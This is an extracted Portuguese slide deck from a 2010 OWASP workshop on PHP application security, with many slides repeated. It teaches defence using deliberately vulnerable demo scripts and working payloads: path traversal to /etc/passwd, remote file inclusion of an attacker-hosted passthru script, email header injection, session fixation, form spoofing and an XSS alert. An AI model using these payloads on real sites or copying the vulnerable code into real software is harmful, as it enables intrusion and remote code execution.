1




    OWASP @ ISCTE-IUL
    Workshop de Segurança Aplicacional

         Segurança em PHP


             Joaquim Marques - EST

                                     Abril 2010
Aplicações Web - problemas
 No Início
  - Protocolo HTTP /browsers desenhados para permuta de documentos,
  - Utilização de tecnologias pouco interoperáveis na concepção de aplicações web,
  - Segurança das aplicações deixada para segundo plano.




      OWASP @ ISCTE-IUL
                                                                                     Abril 2010
Aplicações Web - problemas
 No Início
  - Protocolo HTTP /browsers desenhados para permuta de documentos,
  - Utilização de tecnologias pouco interoperáveis na concepção de aplicações web,
  - Segurança das aplicações deixada para segundo plano.




  Actualidade
  - Quase todas as aplicações Web tem problemas de segurança (diferentes umas das outras)
  - Dificuldade em criar aplicações razoavelmente seguras
  -Segurança é dispendiosa (análise de risco)
  - Segurança dificulta a usabilidade




      OWASP @ ISCTE-IUL
                                                                                            Abril 2010
Aplicações Web - problemas
 No Início
  - Protocolo HTTP /browsers desenhados para permuta de documentos,
  - Utilização de tecnologias pouco interoperáveis na concepção de aplicações web,
  - Segurança das aplicações deixada para segundo plano.




  Actualidade
  - Quase todas as aplicações Web tem problemas de segurança (diferentes umas das outras)
  - Dificuldade em criar aplicações razoavelmente seguras
  -Segurança é dispendiosa (análise de risco)
  - Segurança dificulta a usabilidade




      OWASP @ ISCTE-IUL
                                                                                            Abril 2010
3




    http://i.cmpnet.com/v2.gocsi.com/pdf/CSISurvey2007.pdf
                        2005 CSI/FBI Annual Computer Crime and Security Survey

                                                                                 Abril 2010
4




CAPÍTULO II
Dos crimes ligados à informática
      Artigo 3º - Falsidade informática
                                                         Pena de prisão
      Artigo 4º - Dano relativo a programas ou outros dados Informáticos
      Artigo 5º - Sabotagem informática
      Artigo 6º - Acesso ilegítimo
      Artigo 7º - Intercepção ilegítima




                                                                  Abril 2010
5




Questões de segurança actuais - vulnerabilidades
Ataques de “hackers”
         - negação de serviço,
         - assalto a servidores,
Ameaças vulgares (vírus, spyware, pishing,…)
Comprometimento de dados




                                                   Abril 2010
5




Questões de segurança actuais - vulnerabilidades
Ataques de “hackers”
         - negação de serviço,
         - assalto a servidores,
Ameaças vulgares (vírus, spyware, pishing,…)
Comprometimento de dados


Ameaças – O que fazer
        <   Monitorização: saber o que aconteceu.
        <   Deteccão: saber quando fui atacado.
        <   Prevenção parar os ataques antes de terem sucesso.
        <   Avaliação: descobrir os problemas primeiro que os atacantes

                                                                          Abril 2010
6




    Firewall de rede




    OWASP @ ISCTE-IUL
                        Abril 2010
6




    Firewall de rede


                        Exploração de
                        vulnerabilidades
                        através:
                        - Web servers
                        - Database servers
                        - Web Application Servers




    OWASP @ ISCTE-IUL
                                       Abril 2010
7




    Abril 2010
7




    Abril 2010
7




    Abril 2010
8



    - TOP 10 vulnerabilidades de aplicações Web 2010




                                                       Abril 2010
9


PHP – tipos de vulnerabilidades mais explorados

    PHP Remote File Include:
     Por defeito o PHP permite que as funções que lidam com ficheiros acedam a recursos através da
    funcionalidade/extensão "allow_url_fopen". Ao permitir que os scripts permitam que o input de utilizadores
    influenciem os nomes de ficheiros então a inclusão remota de ficheiros pode resultar. Este ataque permite:
                 Execução de código remoto
                                Instalação de rootkits
                                Compromisso do sistema
    SQL Injection:
    As injecções são possíveis pelo fornecimento de dados falsamente interpretados pelas queries SQL. As
    injecções SQL permitem ao atacante:
          Criar, ler, alterar, e apagar os dados disponíveis para a aplicação comprometendo a base de dados e o
          próprio sistema.
    Cross-Site Scripting (XSS): Permite ao atacante desfigurar um website, inserir conteúdo hostil, conduzir
    ataques de pishing, assaltar o browser usando javascript e até forçar o utilizador a usar comandos
    inapropriados sem o saber (XSRF).

    Cross-Site Request Forgeries (CSR/XSRF): Força os utilizadores legítimos a executar comandos sem o seu
    consentimento, sendo extremamente difícil de prevenir ( a sua sofisticação tem vindo a aumentar pela
    utilização de técnicas AJAX e até de worms automatizados - Samy MySpace Worm.

                                                                                    http://www.sans.org/top20/#s1
                                                                                                                Abril 2010
10


     PHP – cuidados básicos
           - verificar configuração do servidor Web/PHP
           - validar Input do utilizador




      Solução
            Auditoria(s)
                    - ao servidor e aplicações
            Hábitos de programação segura
            Testes ao código


                                                          Abril 2010
10


     PHP – cuidados básicos
           - verificar configuração do servidor Web/PHP
           - validar Input do utilizador




      Solução
            Auditoria(s)
                    - ao servidor e aplicações
            Hábitos de programação segura
            Testes ao código


                                                          Abril 2010
10


     PHP – cuidados básicos
           - verificar configuração do servidor Web/PHP
           - validar Input do utilizador




      Solução
            Auditoria(s)
                    - ao servidor e aplicações
            Hábitos de programação segura
            Testes ao código


                                                          Abril 2010
11

     Ferramentas
     PhpSecInfo                             PHP SecAudit –Dan Lefree




     Alteração directivas
             php.ini (se for administrador)
             .htaccess php_flag directive value
             ini_set()
                                                                       Abril 2010
12

     Regra básica
           Nunca confiar no “Input” dos utilizadores
                                                  Origem input
                                                  -Campos de formulário
                                                  -Dados $_GET, $_POST, $_REQUEST
                                                  -Cookies ($_COOKIES)
                                                  -Dados de Web services
                                                  -Ficheiros
                                                  -Variáveis de servidor
                                                    (ex:. $_SERVER['SERVER_NAME'])
                                                  -Variáveis de ambiente
                                                  -Resultados de querys a BD’s




                                                                    Abril 2010
12

     Regra básica
           Nunca confiar no “Input” dos utilizadores
                                                  Origem input
                                                  -Campos de formulário
                                                  -Dados $_GET, $_POST, $_REQUEST
                                                  -Cookies ($_COOKIES)
                                                  -Dados de Web services
                                                  -Ficheiros
                                                  -Variáveis de servidor
                                                    (ex:. $_SERVER['SERVER_NAME'])
                                                  -Variáveis de ambiente
                                                  -Resultados de querys a BD’s




                                                                    Abril 2010
12

     Regra básica
           Nunca confiar no “Input” dos utilizadores
           Filtragem e validação de dados em PHP
               Ferramentas e funções tradicionais
               Ferramentas standard (extensão filter-> PHP 5.2)
                    funções que testam, validam e filtram o input dos utilizadores




                                                                                     Abril 2010
12

      Regra básica
                     Nunca confiar no “Input” dos utilizadores
                 Filtragem e validação de dados em PHP
                     Ferramentas e funções tradicionais
                     Ferramentas standard (extensão filter-> PHP 5.2)
                           funções que testam, validam e filtram o input dos utilizadores
                                               FILTER_SANITIZE_STRING          "string"
FILTER_VALIDATE_INT       "int"
                                               FILTER_SANITIZE_STRIPPED        "stripped"
FILTER_VALIDATE_BOOLEAN   "boolean"
                                               FILTER_SANITIZE_ENCODED         "encoded"
FILTER_VALIDATE_FLOAT     "float"
                                               FILTER_SANITIZE_SPECIAL_CHARS "special_chars"
FILTER_VALIDATE_REGEXP    "validate_regexp"
                                               FILTER_SANITIZE_EMAIL           "email"
FILTER_VALIDATE_URL       "validate_url"
                                               FILTER_SANITIZE_URL             "url"
FILTER_VALIDATE_EMAIL     "validate_email"
                                               FILTER_SANITIZE_NUMBER_INT      "number_int"
FILTER_VALIDATE_IP        "validate_ip"
                                               FILTER_SANITIZE_NUMBER_FLOAT "number_float"
                                               FILTER_SANITIZE_MAGIC_QUOTES "magic_quotes"
                                               FILTER_CALLBACK                 "callback"




                                                                                               Abril 2010
12

      Regra básica
                         Nunca confiar no “Input” dos utilizadores
                       Filtragem e validação de dados em PHP
                           Ferramentas e funções tradicionais
                           Ferramentas standard (extensão filter-> PHP 5.2)
                                     funções que testam, validam e filtram o input dos utilizadores
                                                                FILTER_SANITIZE_STRING          "string"
FILTER_VALIDATE_INT                 "int"
                                                                FILTER_SANITIZE_STRIPPED        "stripped"
FILTER_VALIDATE_BOOLEAN             "boolean"
                                                                FILTER_SANITIZE_ENCODED         "encoded"
FILTER_VALIDATE_FLOAT               "float"
                                                                FILTER_SANITIZE_SPECIAL_CHARS "special_chars"
FILTER_VALIDATE_REGEXP              "validate_regexp"
                                                                FILTER_SANITIZE_EMAIL           "email"
FILTER_VALIDATE_URL                 "validate_url"
                                                                FILTER_SANITIZE_URL             "url"
FILTER_VALIDATE_EMAIL               "validate_email"
                                                                FILTER_SANITIZE_NUMBER_INT      "number_int"
FILTER_VALIDATE_IP                  "validate_ip"
                                                                FILTER_SANITIZE_NUMBER_FLOAT "number_float"
                                                                FILTER_SANITIZE_MAGIC_QUOTES "magic_quotes"
                                                                FILTER_CALLBACK                 "callback"
Funções de filtragem
               filter_var ( $variable [, $filter [,$options ]] )
               filter_input ( $type , $variable_name [, $filter [, $options ]] )
               ….
                                                                                                                Abril 2010
13


     Owasp ESAPI(enterprise security API) for PHP
                               http://code.google.com/p/owasp-esapi-php/


                    PHP – níveis múltiplos de filtragem de dados




                                                                           Abril 2010
13


     Owasp ESAPI(enterprise security API) for PHP
                               http://code.google.com/p/owasp-esapi-php/


                    PHP – níveis múltiplos de filtragem de dados




                                                                           Abril 2010
13


     Owasp ESAPI(enterprise security API) for PHP
                               http://code.google.com/p/owasp-esapi-php/


                    PHP – níveis múltiplos de filtragem de dados




                                                                           Abril 2010
14

     Precauções básicas em PHP
• restrição no acesso a phpinfo(),
                       ->   disable_functions =phpinfo
• utilize ligações seguras SSL
• utilize ficheiros e directórios ocultos/privados
• “cuidados” com a configuração do PHP
             • listagem/reporting de erros
             • register_globals
             • safe_mode
• “cuidados” com os privilégios na administração das BD´s
• “cuidados” com os ficheiros de instalação/config das aplicações




                                                                    Abril 2010
14

     Precauções básicas em PHP
• restrição no acesso a phpinfo(),
                                                                    <?php
                       ->   disable_functions =phpinfo
                                                                    echo "---";
• utilize ligações seguras SSL                                      //ini_set(disable_functions =phpinfo);
• utilize ficheiros e directórios ocultos/privados                  //ini_set(register_globals = Off); sem qq efeito
• “cuidados” com a configuração do PHP                              //ini_set(safe_mode = Off); sem qq efeito
             • listagem/reporting de erros                          ini_set('display_errors', 'Off');
                                                                    ini_set('log_errors', 'On');
             • register_globals                                     ini_set('error_log', '../logs/error_log');
             • safe_mode                                            ini_set('error_reporting', E_ALL | E_STRICT);
• “cuidados” com os privilégios na administração das BD´s           phpinfo();
• “cuidados” com os ficheiros de instalação/config das aplicações   ?>




                                                                                                          Abril 2010
14

     Precauções básicas em PHP
• restrição no acesso a phpinfo(),
                                                                           <?php
                       ->   disable_functions =phpinfo
                                                                           echo "---";
• utilize ligações seguras SSL                                             //ini_set(disable_functions =phpinfo);
• utilize ficheiros e directórios ocultos/privados                         //ini_set(register_globals = Off); sem qq efeito
• “cuidados” com a configuração do PHP                                     //ini_set(safe_mode = Off); sem qq efeito
             • listagem/reporting de erros                                 ini_set('display_errors', 'Off');
                                                                           ini_set('log_errors', 'On');
             • register_globals                                            ini_set('error_log', '../logs/error_log');
             • safe_mode                                                   ini_set('error_reporting', E_ALL | E_STRICT);
• “cuidados” com os privilégios na administração das BD´s                  phpinfo();
• “cuidados” com os ficheiros de instalação/config das aplicações          ?>



                                                     <?
                                                     //ini_set('register_globals', 'Off'); sem qq efeito
                                                     //$auth=0;
                                                     if ($password == "chave") {
                                                       $auth = 1;
                                                     }
                                                     if ($auth == 1) {
                                                       echo "acesso permitido";
                                                     } else {
                                                     echo "acesso recusado";
                                                     }                                                           Abril 2010
                                                     ?>
15




a)- Spoofing do endereço de e-mail
                                                                                   To: $recipient
                                                                                   Subject: $subject
 mail($recipient,$subject,$message,$headers)                                        $headers
                                                                                    $message
 <html>
 <body>                                                                    <form method='POST'
 <?php                                                                     action='php_email_injectiona.php'>
 //php_email_injectiona                                                      Para: @example.com <br />
 ini_set("SMTP","mail.est.ipcb.pt");                                         De: <input name='email' type='text' /> <br />
 ini_set("sendmail_from",“marques@est.ipcb.pt");                            Assunto: <input name='assunto' type='text' /><br />
                                                                             Message:<br />
 if (isset($_POST['email'])){                                                <textarea name='mensagem' rows='10' cols='40'>
   $email = $_POST['email'] ;                                                </textarea><br />
   $assunto = $_POST['assunto'] ;                                            <input type='submit' name='enviar' value='enviar'/>
   $mensagem = $_POST['mensagem'] ;                                        </form>
                                                                           <?php
  if (mail("marques@est.ipcb.pt",$assunto,$mensagem, "From: $email" )){;   }
   echo "Obrigado por enviar o email";                                     ?>
   }                                                                       </body></html>
 }else{
 ?>

                                                                                                                       Abril 2010
15




a)- Spoofing do endereço de e-mail
                                               To: $recipient
                                               Subject: $subject
 mail($recipient,$subject,$message,$headers)   $headers
                                               $message




                                                                   Abril 2010
15




a)- Spoofing do endereço de e-mail
                                                     To: $recipient
                                                     Subject: $subject
 mail($recipient,$subject,$message,$headers)          $headers
                                                      $message




                                                                           function spamcheck($field){
                                                                            if(eregi("to:",$field) || eregi
                                                                           ("cc:",$field)) {
                                                                              return TRUE;
                                               Php_email_injection_a.php      } else {
                                                                              return FALSE;
                                                                              }
                                                                            }              Abril 2010
16



  b) Inclusão de ficheiros (Directory Travessal/Remote Inclusion)
Ocorre quando um atacante especifica um nome de ficheiro com caracteres específicos ao sistema de ficheiros (. e ..)
      <?php
      //php_include.php
      echo "PHP_Include()";
      include($_GET['fich']);
      ?>
 D.
 T.




                                                                                                                       Abril 2010
16



  b) Inclusão de ficheiros (Directory Travessal/Remote Inclusion)
Ocorre quando um atacante especifica um nome de ficheiro com caracteres específicos ao sistema de ficheiros (. e ..)
      <?php                      http://localhost/php_include.php?fich=teste.txt
      //php_include.php
      echo "PHP_Include()";
      include($_GET['fich']);
      ?>
 D.
 T.




                                                                                                                       Abril 2010
16



  b) Inclusão de ficheiros (Directory Travessal/Remote Inclusion)
Ocorre quando um atacante especifica um nome de ficheiro com caracteres específicos ao sistema de ficheiros (. e ..)
      <?php                      http://localhost/php_include.php?fich=teste.txt
      //php_include.php          http://localhost/security/php_include.php?fich=c:/boot.ini
      echo "PHP_Include()";
      include($_GET['fich']);
      ?>
 D.
 T.




                                                                                                                       Abril 2010
16



  b) Inclusão de ficheiros (Directory Travessal/Remote Inclusion)
Ocorre quando um atacante especifica um nome de ficheiro com caracteres específicos ao sistema de ficheiros (. e ..)
      <?php                      http://localhost/php_include.php?fich=teste.txt
      //php_include.php          http://localhost/security/php_include.php?fich=c:/boot.ini
      echo "PHP_Include()";
      include($_GET['fich']);    http://localhost/php_include.php?fich=/etc/passwd
      ?>
 D.
 T.




                                                                                                                       Abril 2010
16



  b) Inclusão de ficheiros (Directory Travessal/Remote Inclusion)
Ocorre quando um atacante especifica um nome de ficheiro com caracteres específicos ao sistema de ficheiros (. e ..)
      <?php                      http://localhost/php_include.php?fich=teste.txt
      //php_include.php          http://localhost/security/php_include.php?fich=c:/boot.ini
      echo "PHP_Include()";
      include($_GET['fich']);    http://localhost/php_include.php?fich=/etc/passwd
      ?>
 D.
 T.




                                                                                                                       Abril 2010
16



  b) Inclusão de ficheiros (Directory Travessal/Remote Inclusion)
Ocorre quando um atacante especifica um nome de ficheiro com caracteres específicos ao sistema de ficheiros (. e ..)
      <?php                      http://localhost/php_include.php?fich=teste.txt
      //php_include.php          http://localhost/security/php_include.php?fich=c:/boot.ini
      echo "PHP_Include()";
      include($_GET['fich']);    http://localhost/php_include.php?fich=/etc/passwd
      ?>                         http://localhost/php_include.php?fich=../../../etc/passwd
 D.
 T.




                                                                                                                       Abril 2010
16



  b) Inclusão de ficheiros (Directory Travessal/Remote Inclusion)
Ocorre quando um atacante especifica um nome de ficheiro com caracteres específicos ao sistema de ficheiros (. e ..)
      <?php                        http://localhost/php_include.php?fich=teste.txt
      //php_include.php            http://localhost/security/php_include.php?fich=c:/boot.ini
      echo "PHP_Include()";
      include($_GET['fich']);      http://localhost/php_include.php?fich=/etc/passwd
      ?>                           http://localhost/php_include.php?fich=../../../etc/passwd
 D.
 T.   Solução:
      <?php
      //php_include_sec.php
      echo"PHP_Include() -exemplo ataque <br>";
      include(basename(realpath($_GET['fich'])));
      ?>




                                                                                                                       Abril 2010
16



  b) Inclusão de ficheiros (Directory Travessal/Remote Inclusion)
Ocorre quando um atacante especifica um nome de ficheiro com caracteres específicos ao sistema de ficheiros (. e ..)
      <?php                        http://localhost/php_include.php?fich=teste.txt
      //php_include.php            http://localhost/security/php_include.php?fich=c:/boot.ini
      echo "PHP_Include()";
      include($_GET['fich']);      http://localhost/php_include.php?fich=/etc/passwd
      ?>                           http://localhost/php_include.php?fich=../../../etc/passwd
 D.
 T.                                                    Solução alternativa
      Solução:
      <?php
      //php_include_sec.php
      echo"PHP_Include() -exemplo ataque <br>";
      include(basename(realpath($_GET['fich'])));
      ?>




                                                                                                                       Abril 2010
16



  b) Inclusão de ficheiros (Directory Travessal/Remote Inclusion)
Ocorre quando um atacante especifica um nome de ficheiro com caracteres específicos ao sistema de ficheiros (. e ..)
      <?php                        http://localhost/php_include.php?fich=teste.txt
      //php_include.php            http://localhost/security/php_include.php?fich=c:/boot.ini
      echo "PHP_Include()";
      include($_GET['fich']);      http://localhost/php_include.php?fich=/etc/passwd
      ?>                           http://localhost/php_include.php?fich=../../../etc/passwd
 D.
 T.                                                    Solução alternativa
      Solução:
      <?php                                                           Safemode=on
      //php_include_sec.php                                           Open_basedir=/path
      echo"PHP_Include() -exemplo ataque <br>";
      include(basename(realpath($_GET['fich'])));
      ?>




 R.
 I.




                                                                                                                       Abril 2010
16



  b) Inclusão de ficheiros (Directory Travessal/Remote Inclusion)
Ocorre quando um atacante especifica um nome de ficheiro com caracteres específicos ao sistema de ficheiros (. e ..)
      <?php                        http://localhost/php_include.php?fich=teste.txt
      //php_include.php            http://localhost/security/php_include.php?fich=c:/boot.ini
      echo "PHP_Include()";
      include($_GET['fich']);      http://localhost/php_include.php?fich=/etc/passwd
      ?>                           http://localhost/php_include.php?fich=../../../etc/passwd
 D.
 T.                                                    Solução alternativa
      Solução:
      <?php                                                           Safemode=on
      //php_include_sec.php                                           Open_basedir=/path
      echo"PHP_Include() -exemplo ataque <br>";
      include(basename(realpath($_GET['fich'])));
      ?>


ocorre quando um atacante é capaz de fazer sua aplicação executar código PHP da sua escolha
       <?php
       //php_include1.php –colocar no site atacante
 R.    print "<pre>";
 I.    passthru("dir");
       print "</pre>";
       ?>




                                                                                                                       Abril 2010
16



  b) Inclusão de ficheiros (Directory Travessal/Remote Inclusion)
Ocorre quando um atacante especifica um nome de ficheiro com caracteres específicos ao sistema de ficheiros (. e ..)
      <?php                        http://localhost/php_include.php?fich=teste.txt
      //php_include.php            http://localhost/security/php_include.php?fich=c:/boot.ini
      echo "PHP_Include()";
      include($_GET['fich']);      http://localhost/php_include.php?fich=/etc/passwd
      ?>                           http://localhost/php_include.php?fich=../../../etc/passwd
 D.
 T.                                                    Solução alternativa
      Solução:
      <?php                                                           Safemode=on
      //php_include_sec.php                                           Open_basedir=/path
      echo"PHP_Include() -exemplo ataque <br>";
      include(basename(realpath($_GET['fich'])));
      ?>


ocorre quando um atacante é capaz de fazer sua aplicação executar código PHP da sua escolha
       <?php
       //php_include1.php –colocar no site atacante
 R.    print "<pre>";
 I.    passthru("dir");
       print "</pre>"; http://localhost/security/php_include.php?fich=http://
       ?>               www.est.ipcb.pt/pessoais/marques/php_include1.phpsec




                                                                                                                       Abril 2010
16



  b) Inclusão de ficheiros (Directory Travessal/Remote Inclusion)
Ocorre quando um atacante especifica um nome de ficheiro com caracteres específicos ao sistema de ficheiros (. e ..)
      <?php                        http://localhost/php_include.php?fich=teste.txt
      //php_include.php            http://localhost/security/php_include.php?fich=c:/boot.ini
      echo "PHP_Include()";
      include($_GET['fich']);      http://localhost/php_include.php?fich=/etc/passwd
      ?>                           http://localhost/php_include.php?fich=../../../etc/passwd
 D.
 T.                                                    Solução alternativa
      Solução:
      <?php                                                           Safemode=on
      //php_include_sec.php                                           Open_basedir=/path
      echo"PHP_Include() -exemplo ataque <br>";
      include(basename(realpath($_GET['fich'])));
      ?>


ocorre quando um atacante é capaz de fazer sua aplicação executar código PHP da sua escolha
       <?php
       //php_include1.php –colocar no site atacante
 R.    print "<pre>";
 I.    passthru("dir");
       print "</pre>"; http://localhost/security/php_include.php?fich=http://
       ?>               www.est.ipcb.pt/pessoais/marques/php_include1.phpsec

                                Safe_mode=off
                   Funciona com Allow_url_include=on
                                Allow_url_fopen=on                                                                     Abril 2010
17


  c)- Upload de ficheiros

<?php
//fich_upload1a.php
if (isset($_POST['Enviar'])) {
//if ($_FILES['fich']['type'] == "image/gif" && $_FILES['fich']['size']<150000) {
copy ($_FILES['fich']['tmp_name'], "upload/".$_FILES['fich']['name']) or die ("<BR>
Upload sem efeito");
       echo "o seguinte ficheiro foi transferido correctamente <br>";
       echo "Name: ".$_FILES['fich']['name']."<br>";
               //print_r($_FILES);
                //} else {
       // echo "<br><br>";
       // echo "Falha de Upload, tipo de ficheiro errado )".$_FILES['fich']['name'].")
<br>";
      //}
}else{
?>
<form name="form" method="post" action="" enctype="multipart/form-data">
Ficheiro:<input type="file" name="fich"> <br>
<input type="submit" name="Enviar" value="Enviar">
</form>
<?php
}
?>

                                                                                         Abril 2010
17


  c)- Upload de ficheiros

<?php
//fich_upload1a.php
if (isset($_POST['Enviar'])) {
//if ($_FILES['fich']['type'] == "image/gif" && $_FILES['fich']['size']<150000) {
copy ($_FILES['fich']['tmp_name'], "upload/".$_FILES['fich']['name']) or die ("<BR>
Upload sem efeito");
       echo "o seguinte ficheiro foi transferido correctamente <br>";
       echo "Name: ".$_FILES['fich']['name']."<br>";
               //print_r($_FILES);
                //} else {
       // echo "<br><br>";
       // echo "Falha de Upload, tipo de ficheiro errado )".$_FILES['fich']['name'].")
<br>";
      //}
}else{
?>
<form name="form" method="post" action="" enctype="multipart/form-data">
Ficheiro:<input type="file" name="fich"> <br>
<input type="submit" name="Enviar" value="Enviar">
</form>
<?php
}
?>

                                                                                         Abril 2010
17


  c)- Upload de ficheiros

<?php
//fich_upload1a.php
if (isset($_POST['Enviar'])) {
//if ($_FILES['fich']['type'] == "image/gif" && $_FILES['fich']['size']<150000) {
copy ($_FILES['fich']['tmp_name'], "upload/".$_FILES['fich']['name']) or die ("<BR>
Upload sem efeito");
       echo "o seguinte ficheiro foi transferido correctamente <br>";
       echo "Name: ".$_FILES['fich']['name']."<br>";
               //print_r($_FILES);
                //} else {
       // echo "<br><br>";
       // echo "Falha de Upload, tipo de ficheiro errado )".$_FILES['fich']['name'].")
<br>";
      //}
}else{
?>
<form name="form" method="post" action="" enctype="multipart/form-data">
Ficheiro:<input type="file" name="fich"> <br>
<input type="submit" name="Enviar" value="Enviar">
</form>
<?php
}
?>

                                                                                         Abril 2010
18


c)- Upload de ficheiros
<?php
//fich_upload1.php
if (isset($_POST['Enviar'])) {
//if ($_FILES['fich']['type'] == "image/gif" && $_FILES['fich']['size']<150000) {
if (is_uploaded_file($_FILES['fich']['tmp_name']) && $_FILES['fich']['type'] == "image/gif" &&
$_FILES['fich']['size']<150000) {
move_uploaded_file($_FILES['fich']['tmp_name'], "upload/".$_FILES['fich']['name']) or die ("<BR>
Upload sem efeito");
       echo "o seguinte ficheiro foi transferido correctamente <br>";
       echo "Name: ".$_FILES['fich']['name']."<br>";
                print_r($_FILES);
                  } else {
           echo "<br><br>";
          echo "Falha de Upload, tipo de ficheiro errado (".$_FILES['fich']['name'].")<br>";
       }
}else{
?>
<form name="form" method="POST" action="" enctype="multipart/form-data">
Ficheiro:<input type="file" name="fich"> <br>
<input type="submit" name="Enviar" value="Enviar">
</form>
<?php
}
?>



                                                                                                   Abril 2010
19




d:) Fixação de sessões

     <?php                                1 - Eliminar cookies (ver session.save_path)
     //php_session1.php                   - http://host/php_session1.php?PHPSESSID=123456789
     session_start();
                                          2- a partir de outro computador
     $_SESSION['utilizador']='marques';   - http://host/php_session1.php?PHPSESSID=123456789
     $_SESSION['password']='aeiou';
     ?>




                                                                                               Abril 2010
19




d:) Fixação de sessões

     <?php                                1 - Eliminar cookies (ver session.save_path)
     //php_session1.php                   - http://host/php_session1.php?PHPSESSID=123456789
     session_start();
                                          2- a partir de outro computador
     $_SESSION['utilizador']='marques';   - http://host/php_session1.php?PHPSESSID=123456789
     $_SESSION['password']='aeiou';
     ?>




                                solução                            --session_regenerate_id()




                                                                                               Abril 2010
19




d:) Fixação de sessões

     <?php                                1 - Eliminar cookies (ver session.save_path)
     //php_session1.php                   - http://host/php_session1.php?PHPSESSID=123456789
     session_start();
                                          2- a partir de outro computador
     $_SESSION['utilizador']='marques';   - http://host/php_session1.php?PHPSESSID=123456789
     $_SESSION['password']='aeiou';
     ?>




                                solução                            --session_regenerate_id()

        ………..
        if(!isset($_SESSION['SERVER_GENERATED_SID'])) {
        //destruir todos as sessões
        session_destroy();
        }                                                           --Verificar se as sessões foram criadas pelo servidor web
        // gera um novo identificador de sessão
        session_regenerate_id( );
        $_SESSION['SERVER_GENERATED_SID']=true;
        ……..

                                                                                                                  Abril 2010
20




e) Sequestro de sessões (session Hijacking)




                                      Verificação extra
                                      (mudança de browser no
                                            utilizador)




                 Solução – utilização de tokens                Abril 2010
20




e) Sequestro de sessões (session Hijacking)
                                                               compara o valor do HTTP_USER_AGENT do
                                                               browser com o do servidor Web

                                                               <?php
                                                               session_start();
                                                               if (isset($_SESSION['HTTP_USER_AGENT']))
                                                               {
                                                                 if ($_SESSION['HTTP_USER_AGENT'] !=
                                      Verificação extra             md5($_SERVER['HTTP_USER_AGENT']))
                                      (mudança de browser no
                                                                 {
                                            utilizador)            /*PEDIDO de PASSWORD/
                                                                   exit;
                                                                 }
                                                               }
                                                               else
                                                               {
                                                                 $_SESSION['HTTP_USER_AGENT'] =
                                                                 md5($_SERVER['HTTP_USER_AGENT']);
                                                               }
                                                               ?>




                 Solução – utilização de tokens                                                 Abril 2010
21




f) - Formulários Spoofed (falsificados)




                                          Abril 2010
21




f) - Formulários Spoofed (falsificados)
     //Formulario.htm
 <html><head>  </head> <body>
 <form action="processar.php" method="post">   //processar.php
  <p>Marca</p>
  <select name="marca">                        <?php
  <option value="Ford">Ford</option>           $cor=$_REQUEST['cor'];
  <option value="Peugeot">Peugeot</option>     $marca=$_REQUEST['marca'];
  <option value="Renault">Renault</option>     echo "marca - ". $marca."<br>";
  <option value="Mercedes">Mercedes</option>   echo "cor - ".$cor."<br>";
  </select>                                    ?>
  <p>cor</p>
  <select name="cor">
  <option value="branco">Branco</option>
  <option value="verde">Verde</option>
  <option value="azul">Azul</option>
  </select>
  <input type="submit">
 </form></body> </html>



                                                                             Abril 2010
21




f) - Formulários Spoofed (falsificados)
     //Formulario.htm
 <html><head>  </head> <body>
 <form action="processar.php" method="post">   //processar.php
  <p>Marca</p>
  <select name="marca">                        <?php
  <option value="Ford">Ford</option>           $cor=$_REQUEST['cor'];
  <option value="Peugeot">Peugeot</option>     $marca=$_REQUEST['marca'];
  <option value="Renault">Renault</option>     echo "marca - ". $marca."<br>";
  <option value="Mercedes">Mercedes</option>   echo "cor - ".$cor."<br>";
  </select>                                    ?>
  <p>cor</p>
  <select name="cor">
  <option value="branco">Branco</option>
  <option value="verde">Verde</option>
  <option value="azul">Azul</option>
  </select>
  <input type="submit">
 </form></body> </html>



                                                                             Abril 2010
21




f) - Formulários Spoofed (falsificados) <form action="http://www.vitimaspoof.com/processar.php"
                                                method="POST">
                                                <p>Marca</p>
                                                <select name=“marca">
                                                  <option value="Anzol">Carro da marca Anzol</option>
                                                                     //processar.php
                                                  <option value="Chaço">Carro da marca Chaço</option>
                                                </select>            <?php
                                                <p>cor</p>           $cor=$_REQUEST['cor'];
                                                <input type="text" name="cor" />
                                                                     $marca=$_REQUEST['marca'];
                                                <input type="submit" echo "marca - ". $marca."<br>";
                                                                     />
                                                </form>              echo "cor - ".$cor."<br>";
                                                                   ?>
                                                                Colocar no site do atacante
                                                                (fazendo as alterações adequadas)
                                            Formulario_spoof.htm




                                                                                                    Abril 2010
21




f) - Formulários Spoofed (falsificados) <form action="http://www.vitimaspoof.com/processar.php"
                                                method="POST">
                                                <p>Marca</p>
                                                <select name=“marca">
                                                  <option value="Anzol">Carro da marca Anzol</option>
                                                                     //processar.php
                                                  <option value="Chaço">Carro da marca Chaço</option>
                                                </select>            <?php
                                                <p>cor</p>           $cor=$_REQUEST['cor'];
                                                <input type="text" name="cor" />
                                                                     $marca=$_REQUEST['marca'];
                                                <input type="submit" echo "marca - ". $marca."<br>";
                                                                     />
                                                </form>              echo "cor - ".$cor."<br>";
                                                                   ?>
                                                                Colocar no site do atacante
                                                                (fazendo as alterações adequadas)
                                            Formulario_spoof.htm




                                                                                                    Abril 2010
21




f) - Formulários Spoofed (falsificados) <form action="http://www.vitimaspoof.com/processar.php"
                                                method="POST">
                                                <p>Marca</p>
                                                <select name=“marca">
                                                  <option value="Anzol">Carro da marca Anzol</option>
                                                                     //processar.php
                                                  <option value="Chaço">Carro da marca Chaço</option>
                                                </select>            <?php
                                                <p>cor</p>           $cor=$_REQUEST['cor'];
                                                <input type="text" name="cor" />
                                                                     $marca=$_REQUEST['marca'];
                                                <input type="submit" echo "marca - ". $marca."<br>";
                                                                     />
                                                </form>              echo "cor - ".$cor."<br>";
                                                                   ?>
                                                                Colocar no site do atacante
                                                                (fazendo as alterações adequadas)
                                            Formulario_spoof.htm

                                                                                    Solução
                                                                <?php
                                                                $markk=array ('Ford','Renault','Peugeot', ‘Mercedes’);
                                                                if (in_array($marca, $markk)) {
                                                                //ok executa código em processar.php
                                                                } else{
                                                                die ("continue tentando ...eheheh");
                                                                }
                                                                ?>
                                                                                                        Abril 2010
22



g) XSS - Cross Site Scripting


//form1.htm
<form action="processar.php" method="POST">
<p>marca</p>
<select name="marca">
   <option value="Ford">Ford</option>
   <option value="Peugeot">Peugeot</option>     //processar.php
   <option value="Renault">Renault</option>     <?php
   <option value="Mercedes">Mercedes</option>   $cor=$_REQUEST['cor'];
   </select>                                    $marca=$_REQUEST['marca'];
<p>cor</p>                                      echo "marca - ". $marca."<br>";
<input type="text" name="cor" />                echo "cor - ".$cor."<br>";
<input type="submit" />                         //ligar a BD e inserir a escolha
                                                ?>
</form>




                                                                             Abril 2010
22



g) XSS - Cross Site Scripting
                                1)   <script> alert ('Ataque XSS')</script>




                                                                              Abril 2010
22



g) XSS - Cross Site Scripting
